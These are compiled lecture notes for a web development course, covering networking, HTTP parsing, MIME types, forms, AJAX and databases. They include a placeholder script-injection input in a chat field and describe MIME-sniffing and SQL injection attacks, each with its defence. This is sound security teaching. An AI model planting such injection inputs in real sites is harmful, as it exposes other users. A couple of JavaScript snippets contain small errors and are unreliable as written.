CSE312 — All Lectures

Every lecture from the course in one page, in schedule order. Use your browser's find (Ctrl+F) to search across the whole course.

The Internet

Networks, IP, TCP

An overview of IP and TCP

Local Area Network (LAN)

Connect a small group of devices

A home network. The Internet connects to a modem, an Ethernet cable connects the modem to a router, and the router talks to a computer over Wi-Fi.

Internet Service Provider (ISP)

Connect customers to The Internet

Utility poles carrying cables along a suburban street

An ISP connecting 5 different customers to the Internet: a government building, a home, a large corporation, a small business, and an educational institution

Tier 1 Networks

Tier 1 networks form the backbone of the Internet

Map of the CenturyLink tier 1 network covering the United States

Map of the Level 3 tier 1 network covering the United States

Map of the AT&T tier 1 network covering the United States

Data Centers Power Apps

Aerial photo of the Lockport data center

Inside of a data center showing dozens of racks of servers

It's all Cables!

A technician working in a room with 100's of ethernet cables

Map of the earth showing undersea cables that cross the oceans and connect the continents

How do we use these cables?..

Internet Protocol

Internet Protocol (IP) Address

  • Every device has an IP Address
    • Use this address to send messages to that device
    • Ex: 172.217.12.211
  • Use DNS (Domain Name Server) to lookup IP address by domain name

Your computer asks a DNS server for the IP address of cse312.com. The DNS server replies with 159.89.179.140.

Data is sent over the Internet in packets/datagrams

  • Each packet contains headers containing information about the packet

  • Large messages are sent in multiple packets

The IPv4 header from RFC 791, 32 bits per row. Row 1: Version (4 bits), IHL (4 bits), Type of Service (8 bits), Total Length (16 bits). Row 2: Identification (16 bits), Flags (3 bits), Fragment Offset (13 bits). Row 3: Time to Live (8 bits), Protocol (8 bits), Header Checksum (16 bits). Row 4: Source Address (32 bits). Row 5: Destination Address (32 bits). Row 6: Options (24 bits), Padding (8 bits).

Routing Packets

  • To route a packet through the Internet, a router will
    1. Check the destination IP address of the packet
    2. Send the packet to the next router on its path
    3. Fuhgettaboutit

A computer sends a packet to a server through a network of seven routers. There are two paths from the first router to the last. The packet takes the top path, router to router, to the server. The bottom path is unused.

The Internet is Unreliable

Many factors cause packets to be dropped

The same network. The packet travels from the computer to the first router, then to the second router on the top path. A storm cuts the link between the second and third routers, so the packet is lost and never reaches the server.

Transmission Control Protocol

Transmission Control Protocol (TCP)

  • Makes the Internet reliable
  • Detect and resend dropped packets
  • Adds port numbers to identify specific programs
  • Connect to a port number/IP address combination (TCP/IP)
    • 127.0.0.1:8080

TCP 3-way handshake between a client and a server. The server calls listen() and is in the LISTEN state, then calls accept(). The client calls connect() and enters SYN_SENT, sending SYN M. The server enters SYN_RECV and replies SYN N, ACK M+1. connect() returns and the client is ESTABLISHED. The client sends ACK N+1, which can include data. accept() returns and the server is ESTABLISHED.

TCP/IP in CSE312

  • Use libraries to do all this for us
  • Assume TCP/IP works and that we have reliable communication over the Internet
  • Freely send and receive messages (As bytes)
  • Your code (HW) will start with HTTP
  • Much deeper TCP/IP coverage, and more, in CSE489: Modern Networking Concepts

Further Reading

HTTP Request/Response

An introduction to HTTP requests and responses, including URLs, headers, status codes, and message structure.

HTTP

Network Stack (A simplified view)

  • Enter HTTP

Packet Structure:

  1. IP Headers
  2. TCP Headers
  3. HTTP Headers
  4. Content

HTTP - Documentation

  • HTTP/1.1 is defined by RFC2616 of the IETF
  • RFC
    • Request For Comments
    • Submit an RFC for public discussion or to publish information
  • IETF
    • Internet Engineering Task Force
    • Adopts some RFC's as Internet standards

HyperText Transfer Protocol (HTTP)

  • HTTP is an application layer protocol
    • Protocols used by our applications
    • Protocols that are not concerned with the transmission of data
  • [Almost] Always uses TCP for reliable communication
    • Always in this course

HTTP

  • HTTP is a protocol used to access content from a web server
  • Protocol: An agreed upon set of rules
    • HTTP: Defines the format of messages sent to/from a web server
  • HTTP is a Request - Response protocol
    • Client makes request to server
    • Server returns a response
    • Ex. Request The latest tweets from a user. Twitter server returns the tweets in its response
  • Response may require more requests
    • Ex. Get HTML which requires CSS/JS/Images

Web Server

  • Software that "speaks" HTTP
  • Listens for HTTP requests and responds with HTTP responses
  • We want to host our web pages/apps on the Internet using HTTP
  • Terminology:
    • Front End - The part of a web app that runs in the browser (HTML/CSS/JS)
      • The front end will send HTTP requests to the back end
    • Back End - The web server and all software that does not run on the user's machine
      • The back end will send HTTP responses to the front end

Loading a Web Site

sequenceDiagram
  participant Browser as Browser (Front End)
  participant Server as Web Server (Back End)
  Browser->>Server: 1. Request HTML
  Server->>Browser: 2. Sends HTML
  Browser->>Server: 3. Request Each url in HTML
  Server->>Browser: 4. Sends Content
  Note over Browser: 5. Browser renders all content and runs JavaScript

The Browser and the Web Server communicate across the Network (Internet).

HTTP Request

  • Each HTTP request will contain the request type:
    • GET: Request information from a server
    • POST: Send information to a server
    • PUT: Add information to a service
    • PATCH: Partial update of existing data
    • DELETE: Delete information from a service
    • HEAD: Request only the headers of a response
  • To start, we'll focus on GET and POST only

HTTP Request

  • HTTP GET Request
    • Used when requesting content from a server
    • [Typically] Only contains a URL and HTTP headers
    • When you click a link, your browser makes a GET request
    • Requesting HTML/CSS/Javascript/Images/etc are GET requests
  • HTTP POST Request
    • Used when sending data to a website
    • Contains a URL and a body [And HTTP headers]
    • When you submit a form, your browser [typically] makes a POST request
    • The contents of the form are sent in the body of the request

HTTP Request

Protocol://host:port/path?query_string#fragment
  • Each request is made for a specific URL (Uniform Resource Location)
    • A URL uniquely identifies a resource and has the following parts
  • Protocol - The protocol being used (ex. file, HTTP, HTTPS, FTP)
  • Host - The IP address or domain name of the server
    • Used to route the request to the appropriate machine
  • Port - The TCP port number of the host server
    • Defaults to 80/443 for HTTP/HTTPS respectively
  • Path - Specifies the specific resource being requested from the server

HTTP Request

Protocol://host:port/path?query_string#fragment

HTTP is Stateless

  • HTTP is a stateless protocol
  • Each request is handled in isolation even if a client just made another request
  • If state is desired (ex. Login), the state must be sent with each request
    • Cookies
  • When handling an HTTP request, do not have to care who sent it

xkcd comic 869, "Server Attention Span": a person speaks to a server, which replies to every message with an identical, indifferent response, illustrating that the server keeps no memory of previous requests.

https://xkcd.com/869/

New Lines

  • A new line character in an HTTP request/response must be:
    • \r\n
      • Carriage return (From the days of typewriters)
      • New line
    • In the documentation this is referred to as a CRLF
    • CRLF == Carriage Return Line Feed
  • Be aware of this while parsing
  • Use \r\n for new lines when preparing your responses

HTTP GET Request

GET Request

  • We'll use this simple request as an example
GET / HTTP/1.1
Host: cse312.com
Connection: keep-alive
Accept-Language: en-US,en

GET Request

  • More accurately, it will be this
GET / HTTP/1.1\r\nHost: cse312.com\r\nConnection: keep-alive\r\nAccept-Language: en-US,en\r\n\r\n
  • In the slides, we'll render "\r\n" as a new line
  • Note that there is a blank line at the end of the request

The Request Line

  • The first line of the request is always the request line
  • The request line has 3 values separated by spaces
    • The request type (GET/POST/PUT/DELETE/etc)
    • The path of the request (ex. "/") - Everything after the port in the requested url
    • The HTTP Version
      • We'll always use HTTP/1.1 in this course
GET / HTTP/1.1
Host: cse312.com
Connection: keep-alive
Accept-Language: en-US,en

The Request Line

  • Parse the request line by looking for the 2 space characters
    • Separate the values and check the strings
  • Typically: When the root path "/" is requested, serve the HTML of your home page
    • By convention, web servers look for index.html to serve at the root path
  • If the url contains a different path, it will appear in the request line
GET / HTTP/1.1
Host: cse312.com
Connection: keep-alive
Accept-Language: en-US,en
GET /static_files/slides/1_2_HTTP.pdf HTTP/1.1
Host: cse312.com
Connection: keep-alive
Accept-Language: en-US,en

Headers

  • Following the request line are any number of headers
  • HTTP Headers
    • Key-Value pairs
    • Key and value separated by a colon ":"
  • Each header will be on a new line (look for \r\n)
  • To parse, look for the colon ":" and read the key and value
    • There is an optional space after the colon which should be removed if present <-- don't forget to do this! Leaving in the space will cause bugs that are very difficult to detect
GET / HTTP/1.1
Host: cse312.com
Connection: keep-alive
Accept-Language: en-US,en

HTTP Response

Response

  • Your web server will listen for HTTP requests over the TCP sockets and respond with HTTP responses
  • Send a response back to the client to serve them the requested content
  • This response will display "hello" in their browser
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

Response

  • More accurately, this is the response
HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: 5\r\n\r\nhello

Status Line

  • The first line of the response must be the status line
  • Status line contains 3 values separated by spaces
    • The HTTP version
    • The status code
    • The status message (Reason phrase in docs)
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

Response Codes

  • Tells the browser the nature of the response
    • 200-level codes: Everything went well
    • 300-level codes: Redirect the request
    • 400-level codes: Error caused by the client
    • 500-level codes: Error caused by the server
  • Include a human readable message
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

Response Headers

  • The headers in the response follow the same format as request headers
  • Should have at least two headers
    • Content-Type - Tells the browser how to parse this content
    • Content-Length - How many bytes should be read from the body of the response
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

Blank Line

  • There is a blank line (\r\n\r\n) separating the headers and the body of the response
  • The blank line is very important
    • It tells the browser that you're done with headers and the next bytes will be the body of the response
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

Body

  • After the blank line are the bytes of the body
  • The body contains the content that is being served
  • The number of bytes in the body exactly match the value of the Content-Length header
    • The browser will read exactly this many bytes
  • Note: There is no required format for the body. The format depends on the type of content being served
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5

hello

404 Not Found

  • If a path is requested that your server does not handle
    • Respond with a 404 Not Found
    • Note: Spaces are allowed in your reason message
  • The response format is the same as a 200 response
    • Include content type and length
    • Include a body that will be displayed to the client
HTTP/1.1 404 Not Found
Content-Type: text/plain
Content-Length: 36

The requested content does not exist

Further Reading

HTTP - Static Files, MIME Types, and Encodings

Encodings and MIME types

Encodings

MIME types and bytes

1's and 0's

  • The Internet can only transfer bits
    • Copper: High/Low voltage
    • Fiber: Light/Dark
  • All data sent over the Internet must be binary
  • How do we know what these 1's and 0's represent in HTTP?
    • Encodings and MIME Types

Encoding Text

Text

  • Only 1's and 0's can travel through the Internet
    • How do we send text?

ASCII

  • Character encoding
    • Maps characters to numbers
    • Numbers are represented in bits
    • Bits are sent through the Internet
    • Numbers are mapped back to characters by the receiver
  • ASCII uses 7 bit encodings

ASCII Chart

ASCII characters 32-127 with their decimal and hex values. Characters 0-31 are control characters and are not shown.
Dec Hex Char Dec Hex Char Dec Hex Char Dec Hex Char Dec Hex Char Dec Hex Char
32 20 space 48 30 0 64 40 @ 80 50 P 96 60 ` 112 70 p
33 21 ! 49 31 1 65 41 A 81 51 Q 97 61 a 113 71 q
34 22 " 50 32 2 66 42 B 82 52 R 98 62 b 114 72 r
35 23 # 51 33 3 67 43 C 83 53 S 99 63 c 115 73 s
36 24 $ 52 34 4 68 44 D 84 54 T 100 64 d 116 74 t
37 25 % 53 35 5 69 45 E 85 55 U 101 65 e 117 75 u
38 26 & 54 36 6 70 46 F 86 56 V 102 66 f 118 76 v
39 27 ' 55 37 7 71 47 G 87 57 W 103 67 g 119 77 w
40 28 ( 56 38 8 72 48 H 88 58 X 104 68 h 120 78 x
41 29 ) 57 39 9 73 49 I 89 59 Y 105 69 i 121 79 y
42 2A * 58 3A : 74 4A J 90 5A Z 106 6A j 122 7A z
43 2B + 59 3B ; 75 4B K 91 5B [ 107 6B k 123 7B {
44 2C , 60 3C < 76 4C L 92 5C \ 108 6C l 124 7C |
45 2D - 61 3D = 77 4D M 93 5D ] 109 6D m 125 7D }
46 2E . 62 3E > 78 4E N 94 5E ^ 110 6E n 126 7E ~
47 2F / 63 3F ? 79 4F O 95 5F _ 111 6F o 127 7F DEL

ASCII

  • As a String:
    • "hello"
    • Programming language specific representation
  • In Hex:
    • 68 65 6c 6c 6f
    • Need to encode the String into a byte representation
  • In Binary:
    • 01101000 01100101 01101100 01101100 01101111
    • Send this over the Internet

HTTP Headers

HTTP Headers can only contain

ASCII characters

HTTP Headers

  • When reading HTTP headers [And request/status lines]
    • Assume it is text encoded using ASCII
  • The body of the request/response may be encoded differently
    • Read the headers to find the encoding for the body

Character Encodings

  • ASCII can only encode 128 different characters
    • Decent enough for english text
    • Unusable for languages with different alphabets
  • With the Internet, the world became much more connected
    • Too restrictive for each alphabet to have its own encoding
  • How do we encode more characters with a single standard?
    • We need more bits!
    • Enter UTF-8

UTF-8

  • The modern standard for encoding text
  • Uses up to 4 bytes to represent a character
  • If the first bit is a 0
    • One byte used. Remaining 7 bits are ASCII
    • All ASCII encoded Strings are valid UTF-8
UTF-8 byte layouts. Each x is one bit of the code point.
Bytes Code points Bits Byte 1 Byte 2 Byte 3 Byte 4
1 U+0000 to U+007F 7 0xxxxxxx
2 U+0080 to U+07FF 11 110xxxxx 10xxxxxx
3 U+0800 to U+FFFF 16 1110xxxx 10xxxxxx 10xxxxxx
4 U+10000 to U+10FFFF 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

UTF-8

  • If more bytes are needed:
    • Lead with 1's to indicate the number of bytes
    • Each continuation byte begins with 10
    • Prevents decoding errors
    • No character is a subsequence of another character
UTF-8 byte layouts. Each x is one bit of the code point.
Bytes Code points Bits Byte 1 Byte 2 Byte 3 Byte 4
1 U+0000 to U+007F 7 0xxxxxxx
2 U+0080 to U+07FF 11 110xxxxx 10xxxxxx
3 U+0800 to U+FFFF 16 1110xxxx 10xxxxxx 10xxxxxx
4 U+10000 to U+10FFFF 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

Sending Data

  • When sending Strings over the Internet
    • The Internet does not understand language-specific Strings
    • Always convert to bytes/bits before sending
    • Encode the String using UTF-8
  • When receiving text over the Internet
    • It must have been sent as bytes/bits
    • Must convert to a language-specific String
    • Decode the bytes using the proper encoding

Sending Data

  • Use the Python methods
    • .encode()
    • .decode()
  • You can specify the encoding as an argument of these methods
    • Default is UTF-8 so providing no arguments will do what you want for this course

Content Length

  • Content-Length header must be set when there is a body to a response/request
  • Value is the number of bytes contained in the body
    • Bytes referred to as octets in some documentation
  • If all your characters are ASCII
    • This is equal to the length of the String
  • Any non-ASCII UTF-8 character uses >1 byte
    • Cannot use the length of the String as your Content-Length!

Content Length

  • To compute the content length of a UTF-8 String
    • Convert to bytes first
    • Get the length of the byte array

MIME Types

MIME Types

  • When an HTTP response [or request] contains a body, the body is an array of bytes
    • There's no restriction on the encoding used for these bytes (Cannot always assume ASCII/UTF-8)
  • Set a Content-Type header to tell the browser what those bytes represent
    • Tells the browser how to read the body of your response
  • This is the MIME type of the data

MIME Types

  • MIME type
    • Multipurpose Internet Mail Extensions
    • Developed for email and adopted for HTTP
  • Two parts separate by a /
    • <type>/<subtype>
  • Common types
    • text - Data using a text encoding (eg. UTF-8)
    • image - Raw binary of an image file
    • video - Raw binary of a video

MIME Types

  • Common Type/Subtypes
    • text/plain
    • text/html
    • text/css
    • text/javascript
    • image/png
    • image/jpeg
    • video/mp4
    • application/json

MIME Types

  • Optional settings can be added to the Content-Type header
    • Separate options by a ;
    • Options are formatted as <name>=<value>
  • Content-Type: text/html; charset=utf-8
    • The content is HTML encoded using UTF-8
    • *You must use this to tell the browser that you are using utf-8
    • Don't forget to add this exactly as it appears. One character difference will break your page

MIME Type Sniffing

  • Modern browsers will "sniff" the proper MIME type of a response
    • If the MIME type is not correct, the browser will "figure it out"™ and guess what type makes the most sense
  • Browsers can sometimes be wrong
    • Surprises when your site doesn't work with certain versions of certain browsers
  • Best practice is to disable sniffing
  • Set this HTTP header to tell the browser you set the correct MIME type
    • X-Content-Type-Options: nosniff

MIME Type Sniffing

  • X-Content-Type-Options: nosniff
  • Be sure to set this header properly!
    • Open the browser console
    • Check the headers of your response
    • Make sure this header was parsed by the browser

MIME Type Sniffing

  • Security concern:
    • You have a site where users can upload images
    • All users can view these images
    • Instead of an image, a user uploads JavaScript that steals personal data
    • You set the MIME type to image/png
    • The browser notices something is wrong and sniffs out the MIME type of text/javascript and runs the script
    • You just got hacked!
  • Solution:
    • X-Content-Type-Options: nosniff

MIME Types

  • With the proper MIME types set through a Content-Type header
    • The browser will know how to parse and render the body of your HTTP response
  • When receiving an HTTP request that contains a body
    • The Content-Type will be set to let our server know the MIME type

Sending Images

Sending Images

  • Sometimes we want to send data that is not text
  • Use different formats depending on the data
  • To send an image
    • Read the bytes from the file
    • Send the bytes as-is
    • Content-Length is the size of the file
    • Set the Content-Type to image/<image_type>

Sending Images

  • When sending images
    • Since the data is already in bytes when the file is read, no need to encode/decode
  • Never try to read an image file as a string
  • Never try to decode the bytes of an image into a string
  • An image is not encoded using UTF-8
    • The bytes will not decode properly

Sending Images

  • Don't overthink sending images
  • Read the bytes of the file. That's the body of your response
    • You may have to specify that the file should be read as a byte array since text is often assumed in File IO examples
  • Set the Content-Length to the length of the byte array
  • Set the appropriate MIME type in Content-Type
    • Ex: to send a .png the MIME type is "image/png"

Further Reading

HTTP POST, Forms, and AJAX

Making web apps interactive with POST, Forms, and AJAX

HTTP POST

POST Request

  • A POST request, or any request containing a body, will be formatted similar to your HTTP responses
POST /path HTTP/1.1
Content-Type: text/plain
Content-Length: 5

hello

POST Request

  • More accurately
POST /path HTTP/1.1\r\nContent-Type: text/plain\r\nContent-Length: 5\r\n\r\nhello

POST Request

  • When parsing, there will be Content-Length and Content-Type headers
POST /path HTTP/1.1
Content-Type: text/plain
Content-Length: 5

hello

POST Request

  • Look for the blank line that separates the headers from the body
    • \r\n\r\n
  • Read everything after this blank line
  • Make sure you've read "Content-Length" number of bytes
    • It's possible to only receive part of a request and have to read the rest from the TCP socket
POST /path HTTP/1.1
Content-Type: text/plain
Content-Length: 5

hello

POST Request

  • When you read the content from the body:
    • Do whatever your server does based on its feature for this path
    • Send a response to the client
POST /path HTTP/1.1
Content-Type: text/plain
Content-Length: 5

hello

Query String

  • Allow users to send information in a URL
  • Common Application:
    • User types a query in a search engine
    • Their query is sent in the URL as a query string

URL Recall

Protocol://host:port/path?query_string#fragment
  • Query String - [Optional] Contains key-value pairs set by the client
  • https://www.google.com/search?q=web+development
    • HTTPS request to Google search for the phrase "web development"
  • https://duckduckgo.com/?q=web+development&ia=images
    • An HTTPS request to Duck Duck Go image search for the phrase "web development"
  • Fragment - [Optional] Specifies a single value commonly used for navigation
  • https://en.wikipedia.org/wiki/Uniform_Resource_Identifier
    • HTTPS Request for the URI Wikipedia page
  • https://en.wikipedia.org/wiki/Uniform_Resource_Identifier#Definition
    • HTTPS Request for the URI Wikipedia page that will scroll to the definition of URI

Query String Format

https://duckduckgo.com/?q=web+development&ia=images
  • Preceded by a question mark - ?
  • Consists of key-value pairs
    • Key and value separated by =
    • Pairs separated by &
  • Can only contain ASCII characters
  • Cannot contain white space

Percent Encoding

  • If a non-ASCII character is sent as part of a query string it must be url-encoded (or percent-encoded)
  • Specify byte values with a % followed by 2 hex values
  • 한 is encoded as %ed%95%9c
  • <-- single space is encoded as %20

White Space

  • URLs cannot contain spaces
  • Spaces can be percent encoded as %20
  • Can also replace spaces with +
    • The reserved character + indicates a key mapping to multiple values

Reserved Characters

  • Some ASCII characters are reserved
    • Example: ? begins a query string
  • Reserved characters must be %-encoded
  • Notable characters that are NOT reserved
    • Dash -
    • Dot .
    • Underscore _
    • Tilda ~
Reserved Characters
: #
& *
/ +
' @
? ,
( )
[ ]
! ;
$ =

HTML Forms

Dynamic Pages

  • We've learned how to host static content from our servers
    • Content does not change
  • For the rest of the semester we'll add dynamic features
    • Users can change content and interact with other users
  • No longer making web sites
  • Now we're developing Web Applications

HTML Forms

  • The action attribute is the path for the form
  • The method attribute is the type of HTTP request made
  • When the form is submitted, an HTTP request is sent to the path using this method
    • This behaves similar to clicking a link
<form action="/form-path" method="get">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML

HTML Forms

  • Use input elements for the user to interact with the form
  • The type attribute specifies the type of input
    • This input is a text box
  • The name attribute is used when the data is sent to the server
<form action="/form-path" method="get">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML

HTML Forms

  • Should provide a label for each input
    • Helps with accessibility (eg. Screen readers)
    • Clicking the label focuses the input
<form action="/form-path" method="get">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML

HTML Forms

  • An input of type submit makes a button that will send the HTTP request when clicked
  • The value attribute is the text on the button
<form action="/form-path" method="get">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML

HTML Forms

GET /form-path?commenter=Jesse&comment=Good+Morning%21 HTTP/1.1
  • This sends a GET request containing the form data in a query string
    • Page reloads with the content of the response
<form action="/form-path" method="get">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML, no filled in with the text "Jesse" and "Good Morning!"

HTTP GET Limitations

  • Sending form data in a query string can cause issues
    • Browsers and servers have limits on the length of a URL
    • Browsers and servers have limits on the the total length of a GET request, including headers
      • Typically a 4-16kB
    • How would we upload a file? URL must be ASCII. Entire file would be % encoded
  • Enter POST requests

HTML Forms - POST

  • Change the method of a form to post to send the entered data in the body of a POST request
<form action="/form-path" method="post">

<label>Enter your name:<br/>
<input type="text" name="commenter"><br/>
</label>

<label>Comment: <br/>
<input type="text" name="comment"><br/>
</label>

<input type="submit" value="Submit">
</form>

The form rendered from this HTML, no filled in with the text "Jesse" and "Good Morning!"

HTML Forms - POST

  • A request is sent to the path from the action attribute without a query string
  • Content-Type is a url encoded string containing the entered data
    • Same format as the query string
  • Read the Content-Length to know how many bytes are in the body
    • Foreshadow: Very important when receiving more data than the size of your TCP buffer
POST /form-path HTTP/1.1
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

commenter=Jesse&comment=Good+morning%21

HTML Injection Attacks

HTML Injection

  • When hosting static pages
    • You control all the content
    • Limited opportunity for attackers
  • When hosting user-submitted content
    • You lose that control
    • Must protect against attacks
    • Never trust your users!!

Never Trust Your Users!

Never Trust Your Users

  • You may want to think your users will all act in good faith
    • For most users, this may be true
  • Besides your intended users, who else can access your app?
    • EVERYONE!

Never Trust Your Users

Do you trust literally everyone??

HTML Injection

  • You are now handling user data and sending it to other users (Through chat messages)
  • You're building a form that accepts user data and serves it to all other users
  • What happens when a user enters this in chat:
<script>maliciousFunction()</script>

HTML Injection (XSS)

  • This attack is called an HTML injection attack
    • This string is uploaded to your server
    • Your server stores this string
    • Your server sends this string to all users who use your app
    • Their browsers render the injected HTML
    • Their browsers runs the injected JS
<script>maliciousFunction()</script>

HTML Injection

  • Lucky for us, Preventing this attack is very simple

HTML Injection

  • To prevent this attack:
    • Escape HTML when handling user submitted data
  • Escape HTML
    • Replace &, <, and > with their HTML escaped characters
    • & -> &amp;
    • < -> &lt;
    • > -> &gt;

HTML Injection

  • The escaped characters &amp; &lt; &gt; will be rendered as characters by the browser
  • Browser does not treat these as HTML

HTML Injection

  • Replace &, <, and > with their HTML escaped characters
<script>maliciousFunction()</script>

becomes

&lt;script&gt;maliciousFunction()&lt;/script&gt;

and is rendered as a string instead of interpreted as HTML

HTML Injection

  • Replace &, <, and > with their HTML escaped characters
  • Order is important!
    • Always escape & first
  • If & is escaped last you'll get:
&amp;lt;script&amp;gt;maliciousFunction()&amp;lt; /script&amp;gt;
  • Which will not render the way you intended

AJAX & Polling

User Interaction

  • Our goal is to add more interactivity to our site
    • Submitting a form reloads the page after submission
  • We want:
    • To send messages without a reload
    • Get new data without a reload, or any action from the user

AJAX

Asynchronous JavaScript [And XML]

A way to make HTTP requests using JavaScript after the page loads

AJAX - HTTP GET Request

var request = new XMLHttpRequest();
request.onreadystatechange = function(){
  if (this.readyState === 4 && this.status === 200){
    console.log(this.response);
  }
};
request.open("GET", "/path");
request.send();
  • Use JavaScript to make an AJAX request
  • Create an XMLHttpRequest object
  • Call open to set the request type and path
  • Call send to make the request

AJAX - HTTP GET Request

var request = new XMLHttpRequest();
request.onreadystatechange = function(){
  if (this.readyState === 4 && this.status === 200){
    console.log(this.response);
  }
};
request.open("GET", "/path");
request.send();
  • Set onreadystatechange to a function that will be called whenever the ready state changes
  • A ready state of 4 means a response has been fully received
    • In this example, when the ready state changes to 4 and the response code is 200, the response is printed to the console
    • This is where the response would be processed

AJAX - HTTP POST Request

var request = new XMLHttpRequest();
request.onreadystatechange = function(){
  if (this.readyState === 4 && this.status === 200){
    console.log(this.response);
  }
};
request.open("POST", "/path");
let data = {'username': "Jesse", 'message': "Welcome"}
request.send(JSON.stringify(data));
  • To make a post request:
    • Change the method to POST
    • Add the body of your request as an argument to the send method

Forms and AJAX

  • We have choices for the format when sending the data of the AJAX request
  • We can use an HTML form
  • Add an onsubmit attribute that calls your JavaScript function
    • Add return false to block the page reload
    • Or use event.preventDefault(); in the JS function
  • Use JavaScript to read the data from the entire form
<form id="myForm" onsubmit="sendMessageWithForm(); return false;">
<label for="form-chat">Chat: </label>
<input id="form-chat" type="text" name="message"><br/>
<input type="submit" value="Submit">
</form>
function sendMessageWithForm() {
  const formElement = document.getElementById("myForm");
  const formData = new FormData(formElement);
  const request = new XMLHttpRequest();
  request.open("POST", "send-message-form");
  request.send(formData);
}

Encodings - JSON

  • Another option: Manually format the data using JSON
  • Don't use the form element
  • Create a button instead of a submit input
  • In JavaScript, read the value of each input and create your own JSON object
<label>Chat:
<input id="chatInput" type="text" name="message"><br/>
</label>
<button onclick="sendMessage()">Send</button>
function sendMessage() {
  const chat = document.getElementById("chatInput");
  const data = {"message": chat.value()};
  const request = new XMLHttpRequest();
  request.open("POST", "send-message-form");
  request.send(JSON.stringify(data));
}

Fetch

  • Fetch is an alternate way to send an asynchronous request
  • Uses promises
    • Can await a promise (shown) or use "then"
  • *Fetch is what the HW front end uses
<label>Chat:
<input id="chatInput" type="text" name="message"><br/>
</label>
<button onclick="sendMessage()">Send</button>
function sendMessage() {
const chat = document.getElementById("chatInput");
const data = {"message": chat.value()};
const response = await fetch("/send-message-form", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
  },
  body: JSON.stringify(data),
});
}

Polling

Making it Live

  • What if someone chats after you load the page?
    • Have to refresh or send a new AJAX call to get the new data
    • AJAX is preferred, but what triggers the AJAX request?
  • Polling
    • Keep sending AJAX requests at fixed intervals to refresh the data

Polling

setInterval(getMessages, 1000)
  • Browser sends requests for updates at regular intervals
  • Use setInterval
    • Takes a function to be called
    • Takes the number of milliseconds to wait between function calls
  • This example calls getMessages() (Implementation not shown) every second
    • getMessages() will make the AJAX call to get the most recent data from the server and render it on the page

Polling

setInterval(getMessages, 1000)
  • Easy to implement
    • Assuming the AJAX calls are already setup
    • Just telling the browser to keep making requests to the server
  • Limitations
    • Users wait up to an entire interval to get new content
    • Lowering the interval length increases server load and bandwidth

Long-Polling

  • Server hangs on requests (Intentionally)
  • Client makes a long-poll request to get the most current data
    • If there's new data, the server responds just like polling
    • When the response is received, client makes another long- poll request
  • If there's no new data, the server does not send a response
  • Server waits until there is new data to be sent, then responds
  • Timeouts
    • If there's no new data after ~10-20 seconds, server responds with no new data
    • Client gets the response and sends a new long-poll request

Long-Polling

  • End result
    • The client always has a request waiting at the server
    • Whenever the server has data to send to the client, it responds to the waiting request
    • Real-time updates!
    • Minimal delays between users without excess server load
      • *If designed properly. This is not true if each request requires it's own thread
  • We'll reach this same goal with WebSockets
    • More modern solution

Further Reading

Databases and HTML Templates

Introduction to databases

Databases

Databases

  • Software that stores data on disk
    • Download, install, and run as a separate program
    • .. until we talk about Docker
  • Runs as a server and is communicated with via TCP sockets
  • Provides an API to store/retrieve data
    • The database handles the low-level file IO
    • Allows us to think about our data, not how to store it
  • Provides many optimizations

Databases

  • We'll look at 2 different databases
  • Both are pieces of software that must be downloaded, installed, ran, then connected to via TCP
  • MongoDB (Briefly)
    • An unstructured server based on document stores
  • PostgreSQL
    • A server implementing SQL (Structured Query Language)

MongoDB

MongoDB

  • Runs on port 27017 (By default)
  • A document-based database
  • Stores data in a structure very similar to JSON
  • In python/JS
    • Insert dictionaries/objects directly
  • Each object is stored in a collection

MongoDB - Connection

  • Download a connection library and use it to establish a connection with MongoDB
  • MongoDB is separated into several layers
    • Databases - Named by Strings; Contains collections
    • Collections - Where the data is stored; similar to a SQL table
  • Access your collections to insert/retrieve/update/delete data

MongoDB - Security

  • No Mongo injection attacks
  • Mongo does not rely on parsing statements as strings
  • Any injected code would be treated as values

PostgreSQL

PostgreSQL - Setup

  • Download, install, run the PostgreSQL server
    • Listens for TCP connections on port 5432 (By default)
  • Set your password so you can connect from your server
  • Install a library for your language that will connect to the PostgreSQL server
    • github.com/joho/godotenv
  • Create a connection in your code
  • When in doubt, follow the documentation
db, err := sql.Open(
  "pgx",
  "postgres://postgres:" + os.Getenv("POSTGRES_PASSWORD") + "@localhost:5432/cse312",
)

PostgreSQL - Tables

  • SQL is based on tables with rows and column
    • Similar in structure to CSV except the fields are typed
  • A table must be fully defined before data is stored
  • If creating tables on server startup, use IF NOT EXISTS
_, err := db.Exec(`
CREATE TABLE IF NOT EXISTS chat (
  id SERIAL PRIMARY KEY,
  author TEXT,
  content TEXT,
  updated BOOLEAN
)
`)

PostgreSQL - Insert Data

  • Insert a record into a table using INSERT INTO
  • If using inputs from the user, always use prepared statements!
    • Use placeholders in your statement and replace the values later
    • Prevents values from being interpreted as SQL code
_, err := db.Exec(`
INSERT INTO chat (author, content, updated) VALUES ($1, $2, $3)
`, "Jesse", "hello chat!", false)

SQL - Security

  • Not using prepared statements?
    • Vulnerable to SQL injection attacks
